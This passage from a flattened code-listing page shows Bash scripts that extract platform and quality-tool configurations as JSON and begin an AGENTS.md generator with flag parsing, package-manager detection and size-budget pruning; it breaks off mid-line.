CODEOWNERS_FILE="" CODEOWNERS_RULES="[]" DEPENDABOT_FILE="" DEPENDABOT_CONFIG="{}" RENOVATE_FILE="" RENOVATE_CONFIG="{}" FUNDING_FILE="" FUNDING_SPONSORS="[]" # GitHub-specific extraction if [ "$PLATFORM" = "github" ]; then # PR template for f in .github/PULL_REQUEST_TEMPLATE.md .github/pull_request_template.md PULL_REQUEST_TEMPLATE.md; do if [ -f "$f" ]; then PR_TEMPLATE_FILE="$f" PR_CHECKLIST=$(extract_checklist "$f") break fi done # Issue templates if [ -d ".github/ISSUE_TEMPLATE" ]; then for template in .github/ISSUE_TEMPLATE/*.md .github/ISSUE_TEMPLATE/*.yml .github/ISSUE_TEMPLATE/*.yaml; do if [ -f "$template" ]; then name=$(basename "$template" | sed 's/\.[^.]*$//') fields=$(extract_issue_template_fields "$template") ISSUE_TEMPLATES+=("{\"name\": \"$name\", \"file\": \"$template\", \"required_fields\": $fields}") fi done fi # CODEOWNERS for f in .github/CODEOWNERS CODEOWNERS docs/CODEOWNERS; do if [ -f "$f" ]; then CODEOWNERS_FILE="$f" CODEOWNERS_RULES=$(parse_codeowners "$f") break fi done # Dependabot for f in .github/dependabot.yml .github/dependabot.yaml; do if [ -f "$f" ]; then DEPENDABOT_FILE="$f" DEPENDABOT_CONFIG=$(parse_dependabot "$f") break fi done # Renovate (can be in root or .github) for f in renovate.json .github/renovate.json renovate.json5 .renovaterc .renovaterc.json; do if [ -f "$f" ]; then RENOVATE_FILE="$f" RENOVATE_CONFIG=$(parse_renovate "$f") break fi done # Funding if [ -f ".github/FUNDING.yml" ]; then FUNDING_FILE=".github/FUNDING.yml" # Extract sponsor platforms FUNDING_SPONSORS=$(grep -E "^[a-z_]+:" "$FUNDING_FILE" 2>/dev/null | cut -d: -f1 | jq -R . | jq -s . || echo "[]") fi fi # GitLab-specific extraction if [ "$PLATFORM" = "gitlab" ]; then # MR template for f in .gitlab/merge_request_templates/Default.md .gitlab/merge_request_templates/*.md; do if [ -f "$f" ]; then PR_TEMPLATE_FILE="$f" PR_CHECKLIST=$(extract_checklist "$f") break fi done # Issue templates if [ -d ".gitlab/issue_templates" ]; then for template in .gitlab/issue_templates/*.md; do if [ -f "$template" ]; then name=$(basename "$template" .md) ISSUE_TEMPLATES+=("{\"name\": \"$name\", \"file\": \"$template\", \"required_fields\": []}") fi done fi # CODEOWNERS if [ -f "CODEOWNERS" ]; then CODEOWNERS_FILE="CODEOWNERS" CODEOWNERS_RULES=$(parse_codeowners "CODEOWNERS") fi fi # Build issue templates JSON if [ ${#ISSUE_TEMPLATES[@]} -eq 0 ]; then ISSUE_TEMPLATES_JSON="[]" else ISSUE_TEMPLATES_JSON=$(printf '%s\n' "${ISSUE_TEMPLATES[@]}" | jq -s .) fi # Build final JSON output jq -n \ --arg platform "$PLATFORM" \ --arg pr_template "$PR_TEMPLATE_FILE" \ --argjson pr_checklist "$PR_CHECKLIST" \ --argjson issue_templates "$ISSUE_TEMPLATES_JSON" \ --arg codeowners_file "$CODEOWNERS_FILE" \ --argjson codeowners_rules "$CODEOWNERS_RULES" \ --arg dependabot_file "$DEPENDABOT_FILE" \ --argjson dependabot "$DEPENDABOT_CONFIG" \ --arg renovate_file "$RENOVATE_FILE" \ --argjson renovate "$RENOVATE_CONFIG" \ --arg funding_file "$FUNDING_FILE" \ --argjson funding_sponsors "$FUNDING_SPONSORS" \ '{ platform: $platform, pull_request: { template_file: $pr_template, checklist_items: $pr_checklist }, issue_templates: $issue_templates, codeowners: { file: $codeowners_file, rules: $codeowners_rules }, dependency_updates: { dependabot: { file: $dependabot_file, config: $dependabot }, renovate: { file: $renovate_file, config: $renovate } }, funding: { file: $funding_file, sponsors: $funding_sponsors } }' -
extract-quality-configs.sh 14.8 KB
#!/usr/bin/env bash # Extract detailed settings from quality tool configuration files # (linters, formatters, type checkers, etc.) set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Helper to safely parse YAML values yaml_get() { local file="$1" local key="$2" local default="${3:-}" if [ ! -f "$file" ]; then echo "$default" return fi # Simple YAML extraction (handles basic cases) grep -E "^${key}:" "$file" 2>/dev/null | sed "s/^${key}:[[:space:]]*//" | head -1 || echo "$default" } # Parse golangci-lint config (.golangci.yml or .golangci.yaml) parse_golangci() { local config_file="" for f in .golangci.yml .golangci.yaml; do [ -f "$f" ] && config_file="$f" && break done if [ -z "$config_file" ]; then echo "{}" return fi local line_length="" local enabled_linters=() local disabled_linters=() # Extract line-length from linters-settings.lll line_length=$(grep -A5 "lll:" "$config_file" 2>/dev/null | grep "line-length:" | sed 's/.*line-length:[[:space:]]*//' | head -1 || echo "") # Extract enabled linters local in_enable=false while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*enable: ]]; then in_enable=true continue fi if [[ "$line" =~ ^[[:space:]]*disable: ]] || [[ "$line" =~ ^[[:space:]]*[a-z]+: && ! "$line" =~ ^[[:space:]]*- ]]; then in_enable=false fi if $in_enable && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*([a-z0-9_-]+) ]]; then enabled_linters+=("${BASH_REMATCH[1]}") fi done < "$config_file" # Extract disabled linters local in_disable=false while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*disable: ]]; then in_disable=true continue fi if [[ "$line" =~ ^[[:space:]]*enable: ]] || [[ "$line" =~ ^[[:space:]]*[a-z]+: && ! "$line" =~ ^[[:space:]]*- ]]; then in_disable=false fi if $in_disable && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*([a-z0-9_-]+) ]]; then disabled_linters+=("${BASH_REMATCH[1]}") fi done < "$config_file" # Build JSON arrays local enabled_json="[]" local disabled_json="[]" [ ${#enabled_linters[@]} -gt 0 ] && enabled_json=$(printf '%s\n' "${enabled_linters[@]}" | jq -R . | jq -s .) [ ${#disabled_linters[@]} -gt 0 ] && disabled_json=$(printf '%s\n' "${disabled_linters[@]}" | jq -R . | jq -s .) jq -n \ --arg file "$config_file" \ --arg line_length "$line_length" \ --argjson enabled "$enabled_json" \ --argjson disabled "$disabled_json" \ '{ file: $file, line_length: $line_length, enabled_linters: $enabled, disabled_linters: $disabled } | with_entries(select(.value != "" and .value != []))' } # Parse PHPStan config (phpstan.neon or phpstan.neon.dist) parse_phpstan() { local config_file="" for f in phpstan.neon phpstan.neon.dist phpstan.dist.neon; do [ -f "$f" ] && config_file="$f" && break done if [ -z "$config_file" ]; then echo "{}" return fi local level="" local paths=() # Extract level level=$(grep -E "^[[:space:]]*level:" "$config_file" 2>/dev/null | sed 's/.*level:[[:space:]]*//' | head -1 || echo "") # Extract paths local in_paths=false while IFS= read -r line; do if [[ "$line" =~ ^[[:space:]]*paths: ]]; then in_paths=true continue fi if [[ "$line" =~ ^[[:space:]]*[a-z]+: && ! "$line" =~ ^[[:space:]]*- ]]; then in_paths=false fi if $in_paths && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then paths+=("${BASH_REMATCH[1]}") fi done < "$config_file" local paths_json="[]" [ ${#paths[@]} -gt 0 ] && paths_json=$(printf '%s\n' "${paths[@]}" | jq -R . | jq -s .) jq -n \ --arg file "$config_file" \ --arg level "$level" \ --argjson paths "$paths_json" \ '{ file: $file, level: $level, paths: $paths } | with_entries(select(.value != "" and .value != []))' } # Parse ESLint config parse_eslint() { local config_file="" for f in eslint.config.js eslint.config.mjs .eslintrc.js .eslintrc.cjs .eslintrc.json .eslintrc.yml .eslintrc.yaml .eslintrc; do [ -f "$f" ] && config_file="$f" && break done if [ -z "$config_file" ]; then echo "{}" return fi local extends="" local plugins="" # For JSON config files if [[ "$config_file" == *.json ]] || [[ "$config_file" == .eslintrc ]]; then extends=$(jq -r '.extends // [] | if type == "array" then . else [.] end | join(", ")' "$config_file" 2>/dev/null || echo "") plugins=$(jq -r '.plugins // [] | join(", ")' "$config_file" 2>/dev/null || echo "") fi jq -n \ --arg file "$config_file" \ --arg extends "$extends" \ --arg plugins "$plugins" \ '{ file: $file, extends: $extends, plugins: $plugins } | with_entries(select(.value != ""))' } # Parse Prettier config parse_prettier() { local config_file="" for f in .prettierrc .prettierrc.json .prettierrc.yml .prettierrc.yaml .prettierrc.js .prettierrc.cjs prettier.config.js prettier.config.cjs; do [ -f "$f" ] && config_file="$f" && break done if [ -z "$config_file" ]; then echo "{}" return fi local print_width="" local tab_width="" local use_tabs="" local semi="" local single_quote="" # For JSON config files if [[ "$config_file" == *.json ]] || [[ "$config_file" == .prettierrc ]]; then print_width=$(jq -r '.printWidth // ""' "$config_file" 2>/dev/null || echo "") tab_width=$(jq -r '.tabWidth // ""' "$config_file" 2>/dev/null || echo "") use_tabs=$(jq -r '.useTabs // ""' "$config_file" 2>/dev/null || echo "") semi=$(jq -r '.semi // ""' "$config_file" 2>/dev/null || echo "") single_quote=$(jq -r '.singleQuote // ""' "$config_file" 2>/dev/null || echo "") fi jq -n \ --arg file "$config_file" \ --arg print_width "$print_width" \ --arg tab_width "$tab_width" \ --arg use_tabs "$use_tabs" \ --arg semi "$semi" \ --arg single_quote "$single_quote" \ '{ file: $file, print_width: $print_width, tab_width: $tab_width, use_tabs: $use_tabs, semi: $semi, single_quote: $single_quote } | with_entries(select(.value != ""))' } # Parse TypeScript config (tsconfig.json) parse_tsconfig() { if [ ! -f "tsconfig.json" ]; then echo "{}" return fi local strict="" local target="" local module="" local strict_null="" strict=$(jq -r '.compilerOptions.strict // ""' tsconfig.json 2>/dev/null || echo "") target=$(jq -r '.compilerOptions.target // ""' tsconfig.json 2>/dev/null || echo "") module=$(jq -r '.compilerOptions.module // ""' tsconfig.json 2>/dev/null || echo "") strict_null=$(jq -r '.compilerOptions.strictNullChecks // ""' tsconfig.json 2>/dev/null || echo "") jq -n \ --arg file "tsconfig.json" \ --arg strict "$strict" \ --arg target "$target" \ --arg module "$module" \ --arg strict_null "$strict_null" \ '{ file: $file, strict: $strict, target: $target, module: $module, strict_null_checks: $strict_null } | with_entries(select(.value != ""))' } # Parse Ruff config (ruff.toml or pyproject.toml) parse_ruff() { local config_file="" local line_length="" local select_rules="" local ignore_rules="" # Check for standalone ruff.toml if [ -f "ruff.toml" ]; then config_file="ruff.toml" line_length=$(grep -E "^line-length" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "") select_rules=$(grep -E "^select" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "") ignore_rules=$(grep -E "^ignore" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "") elif [ -f "pyproject.toml" ] && grep -q '\[tool.ruff\]' pyproject.toml 2>/dev/null; then config_file="pyproject.toml" # Extract from [tool.ruff] section line_length=$(sed -n '/\[tool.ruff\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^line-length" | sed 's/.*=[[:space:]]*//' | head -1 || echo "") select_rules=$(sed -n '/\[tool.ruff\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^select" | sed 's/.*=[[:space:]]*//' | head -1 || echo "") fi if [ -z "$config_file" ]; then echo "{}" return fi jq -n \ --arg file "$config_file" \ --arg line_length "$line_length" \ --arg select "$select_rules" \ --arg ignore "$ignore_rules" \ '{ file: $file, line_length: $line_length, select: $select, ignore: $ignore } | with_entries(select(.value != ""))' } # Parse mypy config parse_mypy() { local config_file="" local strict="" local python_version="" # Check various config locations if [ -f "mypy.ini" ]; then config_file="mypy.ini" strict=$(grep -E "^strict[[:space:]]*=" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "") python_version=$(grep -E "^python_version[[:space:]]*=" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "") elif [ -f ".mypy.ini" ]; then config_file=".mypy.ini" strict=$(grep -E "^strict[[:space:]]*=" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "") elif [ -f "pyproject.toml" ] && grep -q '\[tool.mypy\]' pyproject.toml 2>/dev/null; then config_file="pyproject.toml" strict=$(sed -n '/\[tool.mypy\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^strict" | sed 's/.*=[[:space:]]*//' | head -1 || echo "") python_version=$(sed -n '/\[tool.mypy\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^python_version" | sed 's/.*=[[:space:]]*//' | head -1 || echo "") elif [ -f "setup.cfg" ] && grep -q '\[mypy\]' setup.cfg 2>/dev/null; then config_file="setup.cfg" strict=$(sed -n '/\[mypy\]/,/^\[/p' setup.cfg 2>/dev/null | grep -E "^strict[[:space:]]*=" | sed 's/.*=[[:space:]]*//' | head -1 || echo "") fi if [ -z "$config_file" ]; then echo "{}" return fi jq -n \ --arg file "$config_file" \ --arg strict "$strict" \ --arg python_version "$python_version" \ '{ file: $file, strict: $strict, python_version: $python_version } | with_entries(select(.value != ""))' } # Parse Black config parse_black() { local config_file="" local line_length="" local target_version="" if [ -f "pyproject.toml" ] && grep -q '\[tool.black\]' pyproject.toml 2>/dev/null; then config_file="pyproject.toml" line_length=$(sed -n '/\[tool.black\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^line-length" | sed 's/.*=[[:space:]]*//' | head -1 || echo "") target_version=$(sed -n '/\[tool.black\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^target-version" | sed 's/.*=[[:space:]]*//' | head -1 || echo "") fi if [ -z "$config_file" ]; then echo "{}" return fi jq -n \ --arg file "$config_file" \ --arg line_length "$line_length" \ --arg target_version "$target_version" \ '{ file: $file, line_length: $line_length, target_version: $target_version } | with_entries(select(.value != ""))' } # Parse PHP-CS-Fixer config parse_php_cs_fixer() { local config_file="" for f in .php-cs-fixer.php .php-cs-fixer.dist.php .php_cs .php_cs.dist; do [ -f "$f" ] && config_file="$f" && break done if [ -z "$config_file" ]; then echo "{}" return fi # Check for risky rules local has_risky="false" grep -q "setRiskyAllowed(true)" "$config_file" 2>/dev/null && has_risky="true" # Try to extract rule set local rule_set="" rule_set=$(grep -oE "@(PSR12|PSR2|Symfony|PhpCsFixer)" "$config_file" 2>/dev/null | head -1 || echo "") jq -n \ --arg file "$config_file" \ --arg rule_set "$rule_set" \ --argjson risky "$has_risky" \ '{ file: $file, rule_set: $rule_set, risky_allowed: $risky } | with_entries(select(.value != "" and .value != false))' } # Detect which tools are configured TOOLS=() [ -f ".golangci.yml" ] || [ -f ".golangci.yaml" ] && TOOLS+=("golangci-lint") [ -f "phpstan.neon" ] || [ -f "phpstan.neon.dist" ] || [ -f "phpstan.dist.neon" ] && TOOLS+=("phpstan") for f in eslint.config.js eslint.config.mjs .eslintrc.js .eslintrc.cjs .eslintrc.json .eslintrc.yml .eslintrc.yaml .eslintrc; do [ -f "$f" ] && TOOLS+=("eslint") && break done for f in .prettierrc .prettierrc.json .prettierrc.yml prettier.config.js; do [ -f "$f" ] && TOOLS+=("prettier") && break done [ -f "tsconfig.json" ] && TOOLS+=("typescript") { [ -f "ruff.toml" ] || grep -q '\[tool.ruff\]' pyproject.toml 2>/dev/null; } && TOOLS+=("ruff") { [ -f "mypy.ini" ] || [ -f ".mypy.ini" ] || grep -q '\[tool.mypy\]' pyproject.toml 2>/dev/null || grep -q '\[mypy\]' setup.cfg 2>/dev/null; } && TOOLS+=("mypy") grep -q '\[tool.black\]' pyproject.toml 2>/dev/null && TOOLS+=("black") for f in .php-cs-fixer.php .php-cs-fixer.dist.php .php_cs .php_cs.dist; do [ -f "$f" ] && TOOLS+=("php-cs-fixer") && break done # Build tools list JSON if [ ${#TOOLS[@]} -eq 0 ]; then TOOLS_JSON="[]" else TOOLS_JSON=$(printf '%s\n' "${TOOLS[@]}" | jq -R . | jq -s .) fi # Parse each tool config GOLANGCI_CONFIG=$(parse_golangci) PHPSTAN_CONFIG=$(parse_phpstan) ESLINT_CONFIG=$(parse_eslint) PRETTIER_CONFIG=$(parse_prettier) TSCONFIG=$(parse_tsconfig) RUFF_CONFIG=$(parse_ruff) MYPY_CONFIG=$(parse_mypy) BLACK_CONFIG=$(parse_black) PHP_CS_FIXER_CONFIG=$(parse_php_cs_fixer) # Build final JSON output jq -n \ --argjson tools "$TOOLS_JSON" \ --argjson golangci "$GOLANGCI_CONFIG" \ --argjson phpstan "$PHPSTAN_CONFIG" \ --argjson eslint "$ESLINT_CONFIG" \ --argjson prettier "$PRETTIER_CONFIG" \ --argjson typescript "$TSCONFIG" \ --argjson ruff "$RUFF_CONFIG" \ --argjson mypy "$MYPY_CONFIG" \ --argjson black "$BLACK_CONFIG" \ --argjson php_cs_fixer "$PHP_CS_FIXER_CONFIG" \ '{ detected_tools: $tools, golangci_lint: $golangci, phpstan: $phpstan, eslint: $eslint, prettier: $prettier, typescript: $typescript, ruff: $ruff, mypy: $mypy, black: $black, php_cs_fixer: $php_cs_fixer }' -
generate-agents.sh 113.7 KB
#!/usr/bin/env bash # Main AGENTS.md generator script # Requires: Bash 4.3+ (for nameref variables) # shellcheck disable=SC2034 # vars/scope_vars are used via nameref in template functions set -euo pipefail # Check Bash version - we need 4.3+ for nameref variables (local -n) if ((BASH_VERSINFO[0] < 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 3))); then echo "Error: Bash 4.3+ required (found ${BASH_VERSION})." >&2 echo "On macOS: brew install bash" >&2 echo "Then run with: /opt/homebrew/bin/bash $0 $*" >&2 exit 1 fi SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SKILL_DIR="$(dirname "$SCRIPT_DIR")" TEMPLATE_DIR="$SKILL_DIR/assets" # Source helper libraries # shellcheck disable=SC1091 # libs are shellchecked individually by the same hook source "$SCRIPT_DIR/lib/template.sh" # shellcheck disable=SC1091 source "$SCRIPT_DIR/lib/summary.sh" # shellcheck disable=SC1091 source "$SCRIPT_DIR/lib/config-root.sh" # Default options PROJECT_DIR="${1:-.}" STYLE="${STYLE:-thin}" DRY_RUN=false UPDATE_ONLY=false FORCE=false VERBOSE=false CLAUDE_SHIM=false CREATE_SYMLINKS=true JSON=false # Parse flags while [[ $# -gt 0 ]]; do case $1 in --style=*) STYLE="${1#*=}" shift ;; --dry-run) DRY_RUN=true shift ;; --json) JSON=true shift ;; --update) UPDATE_ONLY=true shift ;; --force) FORCE=true shift ;; --verbose|-v) VERBOSE=true shift ;; --claude-shim) CLAUDE_SHIM=true shift ;; --no-symlinks) CREATE_SYMLINKS=false shift ;; --help|-h) cat <<EOF Usage: generate-agents.sh [PROJECT_DIR] [OPTIONS] Generate AGENTS.md files for a project following the public agents.md convention. Options: --style=thin|verbose Template style (default: thin) --dry-run Preview what will be created --json Emit the write manifest as JSON (human output suppressed) --update Update existing files only --force Force regeneration of existing files --claude-shim Generate CLAUDE.md that imports AGENTS.md (root only, legacy) --no-symlinks Skip creating CLAUDE.md/GEMINI.md symlinks (default: create them) --verbose, -v Verbose output --help, -h Show this help message Examples: generate-agents.sh . # Generate thin root + scoped files generate-agents.sh . --dry-run # Preview changes generate-agents.sh . --dry-run --json # Machine-readable plan, nothing written generate-agents.sh . --style=verbose # Use verbose root template generate-agents.sh . --update # Update existing files generate-agents.sh . --no-symlinks # Skip CLAUDE.md/GEMINI.md symlinks generate-agents.sh . --claude-shim # Generate CLAUDE.md @import shim instead of symlink EOF exit 0 ;; *) PROJECT_DIR="$1" shift ;; esac done # Validate PROJECT_DIR exists if [[ ! -d "$PROJECT_DIR" ]]; then echo "Error: Project directory not found: $PROJECT_DIR" >&2 exit 1 fi # Convert to absolute path before cd (so subsequent script calls work) PROJECT_DIR="$(cd "$PROJECT_DIR" && pwd)" cd "$PROJECT_DIR" # --json emits the write manifest instead of the prose, the same way the # read-only scripts do it: stdout is parked on fd 3 and the human lines go # nowhere, so every existing echo stays untouched. if [ "$JSON" = true ]; then exec 3>&1 1>/dev/null fi # One entry per path the run touches. With --dry-run it is a plan, without it a # receipt of what was written -- the dry_run field in the output says which. MANIFEST=() # emit_op OP KIND PATH [KEY VALUE] # op: write | symlink | keep # kind: agents-file | compat-file | shim # Paths are recorded relative to the project root, so a manifest can be # reviewed and compared without carrying one machine's directory layout. emit_op() { local op="$1" kind="$2" path="$3" key="${4:-}" value="${5:-}" local rel="${path#"$PROJECT_DIR"/}" MANIFEST+=("$(jq -nc \ --arg op "$op" --arg kind "$kind" --arg path "$rel" \ --arg key "$key" --arg value "$value" \ '{op: $op, kind: $kind, path: $path} + (if $key == "" then {} else {($key): $value} end)')") } # Initialize summary tracking init_summary log() { if [ "$VERBOSE" = true ]; then echo "[INFO] $*" >&2 fi } # A CLAUDE.md/GEMINI.md compatibility file we are allowed to write: # absent, a symlink we created (pointing at AGENTS.md), or our own generated # "@AGENTS.md" import file. Anything else — a regular file, or a symlink # pointing at rules the user maintains elsewhere — belongs to the user and is # kept unless --force. Without this check "is a symlink" was treated the same # as "does not exist" and a foreign link was silently repointed (#103). compat_file_is_ours() { local file="$1" if [ -L "$file" ]; then [ "$(readlink "$file")" = "AGENTS.md" ] return fi [ ! -e "$file" ] && return 0 grep -qxF '@AGENTS.md' "$file" 2>/dev/null } # One line saying what was left alone and how to override it. Printed # unconditionally: a skip that only shows under --verbose reads as "nothing # happened here" to everyone else. report_kept_file() { local file="$1" label="$2" what if [ -L "$file" ]; then what="symlink → $(readlink "$file")" else what="regular file" fi emit_op keep compat-file "$file" reason "$what" echo "⏭️ Kept: $label ($what) — use --force to replace" } error() { echo "[ERROR] $*" >&2 exit 1 } # Detect Node.js package manager for a scope directory # Walks up from scope dir to find package.json with lockfile # Workspace-aware: checks workspace root for lockfiles if in a monorepo detect_node_package_manager() { local scope_dir="$1" local search_dir="$scope_dir" # First, check if we're in a workspace - lockfile will be at workspace root local workspace_root workspace_root=$(find_node_workspace_root "$scope_dir" || true) if [ -n "$workspace_root" ]; then [ -f "$workspace_root/pnpm-lock.yaml" ] && echo "pnpm" && return [ -f "$workspace_root/yarn.lock" ] && echo "yarn" && return [ -f "$workspace_root/bun.lockb" ] && echo "bun" && return [ -f "$workspace_root/package-lock.json" ] && echo "npm" && return fi # Walk up to find package.json with lockfile while [ "$search_dir" != "." ] && [ "$search_dir" != "/" ]; do if [ -f "$search_dir/package.json" ]; then # Found package.json, check for lockfiles [ -f "$search_dir/pnpm-lock.yaml" ] && echo "pnpm" && return [ -f "$search_dir/yarn.lock" ] && echo "yarn" && return [ -f "$search_dir/bun.lockb" ] && echo "bun" && return [ -f "$search_dir/package-lock.json" ] && echo "npm" && return # No lockfile, default to npm echo "npm" return fi search_dir=$(dirname "$search_dir") done # Check root as last resort if [ -f "package.json" ]; then [ -f "pnpm-lock.yaml" ] && echo "pnpm" && return [ -f "yarn.lock" ] && echo "yarn" && return [ -f "bun.lockb" ] && echo "bun" && return echo "npm" return fi # Fallback: use from PROJECT_INFO if available if [ -n "${PROJECT_INFO:-}" ]; then local pkg_mgr pkg_mgr=$(echo "$PROJECT_INFO" | jq -r '.package_manager // "unknown"') if [ "$pkg_mgr" != "unknown" ] && [ "$pkg_mgr" != "go" ] && [ "$pkg_mgr" != "composer" ]; then echo "$pkg_mgr" return fi fi echo "npm" # Ultimate fallback } # Detect CSS approach/framework used in project # Checks package.json dependencies and config files detect_css_approach() { local config_root="$1" local pkg_json="$config_root/package.json" local approaches=() # Check package.json dependencies if [ -f "$pkg_json" ]; then local deps deps=$(jq -r '(.dependencies // {}) + (.devDependencies // {}) | keys[]' "$pkg_json" 2>/dev/null || echo "") # Tailwind CSS if echo "$deps" | grep -q "^tailwindcss$"; then approaches+=("Tailwind CSS") fi # styled-components if echo "$deps" | grep -q "^styled-components$"; then approaches+=("styled-components") fi # Emotion if echo "$deps" | grep -q "^@emotion/"; then approaches+=("Emotion") fi # CSS Modules (indicated by config or common patterns) if [ -f "$config_root/postcss.config.js" ] || [ -f "$config_root/postcss.config.mjs" ]; then if ! printf '%s\n' "${approaches[@]}" | grep -q "Tailwind"; then approaches+=("CSS Modules") fi fi # Sass/SCSS if echo "$deps" | grep -q "^sass$"; then approaches+=("Sass/SCSS") fi fi # Default to CSS Modules if nothing detected but tsconfig exists if [ ${#approaches[@]} -eq 0 ]; then [ -f "$config_root/tsconfig.json" ] && approaches+=("CSS Modules") fi # Join approaches with comma. `local IFS` is function-scoped and does # not tamper with the caller's IFS — safe under strict SC2030/SC2031 # semantics. Suppress opengrep's false positive on the `IFS=` pattern. local IFS=', ' # nosemgrep: bash.lang.security.ifs-tampering.ifs-tampering echo "${approaches[*]}" } # Byte budget enforcement (OpenAI Codex default: 32 KiB for combined instructions) BYTE_BUDGET="${BYTE_BUDGET:-32768}" enforce_byte_budget() { local file="$1" local budget="$2" [ ! -f "$file" ] && return 0 local size size=$(wc -c < "$file") if [ "$size" -le "$budget" ]; then log "File size: $size bytes (within $budget budget)" return 0 fi log "File exceeds byte budget ($size > $budget), pruning..." local content content=$(cat "$file") local pruned=false # Strategy 1: Reduce golden samples to 5 if echo "$content" | grep -q "AGENTS-GENERATED:START golden-samples"; then local sample_count sample_count=$(echo "$content" | sed -n '/AGENTS-GENERATED:START golden-samples/,/AGENTS-GENERATED:END golden-samples/p' | grep -c "^|" || echo 0) if [ "$sample_count" -gt 7 ]; then # header + separator + 5 data rows = 7 content=$(echo "$content" | awk ' /AGENTS-GENERATED:START golden-samples/ { in_section=1; count=0; print; next } /AGENTS-GENERATED:END golden-samples/ { in_section=0; print; next } in_section && /^\|/ { count++; if (count <= 7) print; next } { print } ') pruned=true log " - Reduced golden samples to 5" fi fi # Strategy 2: Reduce heuristics to 5 if echo "$content" | grep -q "AGENTS-GENERATED:START heuristics"; then local heuristic_count heuristic_count=$(echo "$content" | sed -n '/AGENTS-GENERATED:START heuristics/,/AGENTS-GENERATED:END heuristics/p' | grep -c "^|" || echo 0) if [ "$heuristic_count" -gt 7 ]; then # header + separator + 5 data rows = 7 content=$(echo "$content" | awk ' /AGENTS-GENERATED:START heuristics/ { in_section=1; count=0; print; next } /AGENTS-GENERATED:END heuristics/ { in_section=0; print; next } in_section && /^\|/ { count++; if (count <= 7) print; next } { print } ') pruned=true log " - Reduced heuristics to 5" fi fi # Strategy 3: Reduce utilities to 5 if echo "$content" | grep -q "AGENTS-GENERATED:START utilities"; then local utility_count utility_count=$(echo "$content" | sed -n '/AGENTS-GENERATED:START utilities/,/AGENTS-GENERATED:END utilities/p' | grep -c "^|" || echo 0) if [ "$utility_count" -gt 7 ]; then # header + separator + 5 data rows = 7 content=$(echo "$content" | awk ' /AGENTS-GENERATED:START utilities/ { in_section=1; count=0; print; next } /AGENTS-GENERATED:END utilities/ { in_section=0; print; next } in_section && /^\|/ { count++; if (count <= 7) print; next } { print } ') pruned=true log " - Reduced utilities to 5" fi fi # Write pruned content if [ "$pruned" = true ]; then echo "$content" > "$file" local new_size new_size=$(wc -c < "$file") echo "⚠️ Pruned due to size budget ($size → $new_size bytes)" fi return 0 } # Detect project log "Detecting project type..." PROJECT_INFO=$("$SCRIPT_DIR/detect-project.sh" "$PROJECT_DIR") [ "$VERBOSE" = true ] && echo "$PROJECT_INFO" | jq . >&2 LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language') VERSION=$(echo "$PROJECT_INFO" | jq -r '.version') PROJECT_TYPE=$(echo "$PROJECT_INFO" | jq -r '.type') [ "$LANGUAGE" = "unknown" ] && error "Could not detect project language" # Detect scopes log "Detecting scopes..." SCOPES_INFO=$("$SCRIPT_DIR/detect-scopes.sh" "$PROJECT_DIR") [ "$VERBOSE" = true ] && echo "$SCOPES_INFO" | jq . >&2 # Map language to stack filter for extract-commands.sh get_stack_filter() { local lang="$1" case "$lang" in go) echo "go" ;; php) echo "php" ;; python) echo "python" ;; typescript|javascript) echo "node" ;; *) echo "auto" ;; esac } # Extract commands log "Extracting build commands..." PRIMARY_STACK=$(get_stack_filter "$LANGUAGE") COMMANDS=$("$SCRIPT_DIR/extract-commands.sh" "$PROJECT_DIR" "$PRIMARY_STACK") [ "$VERBOSE" = true ] && echo "$COMMANDS" | jq . >&2 # Extract documentation (README, CONTRIBUTING, SECURITY, etc.) log "Extracting documentation..." DOCS_INFO=$("$SCRIPT_DIR/extract-documentation.sh" "$PROJECT_DIR") [ "$VERBOSE" = true ] && echo "$DOCS_INFO" | jq . >&2 # Extract platform files (.github/, .gitlab/, etc.) log "Extracting platform files..." PLATFORM_INFO=$("$SCRIPT_DIR/extract-platform-files.sh" "$PROJECT_DIR") [ "$VERBOSE" = true ] && echo "$PLATFORM_INFO" | jq . >&2 # Extract IDE settings (.editorconfig, .vscode/, etc.) log "Extracting IDE settings..." IDE_INFO=$("$SCRIPT_DIR/extract-ide-settings.sh" "$PROJECT_DIR") [ "$VERBOSE" = true ] && echo "$IDE_INFO" | jq . >&2 # Extract AI agent configs (.cursor/, .claude/, etc.) log "Extracting AI agent configs..." AGENT_INFO=$("$SCRIPT_DIR/extract-agent-configs.sh" "$PROJECT_DIR") [ "$VERBOSE" = true ] && echo "$AGENT_INFO" | jq . >&2 # Generate file map log "Generating file map..." FILE_MAP=$("$SCRIPT_DIR/generate-file-map.sh" "$PROJECT_DIR" 2>/dev/null || echo "") # Detect golden samples log "Detecting golden samples..." GOLDEN_SAMPLES=$("$SCRIPT_DIR/detect-golden-samples.sh" "$PROJECT_DIR" 2>/dev/null || echo "") # Detect utilities log "Detecting utilities..." UTILITIES_LIST=$("$SCRIPT_DIR/detect-utilities.sh" "$PROJECT_DIR" 2>/dev/null || echo "") # Detect heuristics log "Detecting heuristics..." HEURISTICS=$("$SCRIPT_DIR/detect-heuristics.sh" "$PROJECT_DIR" 2>/dev/null || echo "") # Extract quality configs (detailed linter/formatter settings) log "Extracting quality configs..." QUALITY_CONFIG=$("$SCRIPT_DIR/extract-quality-configs.sh" "$PROJECT_DIR" 2>/dev/null 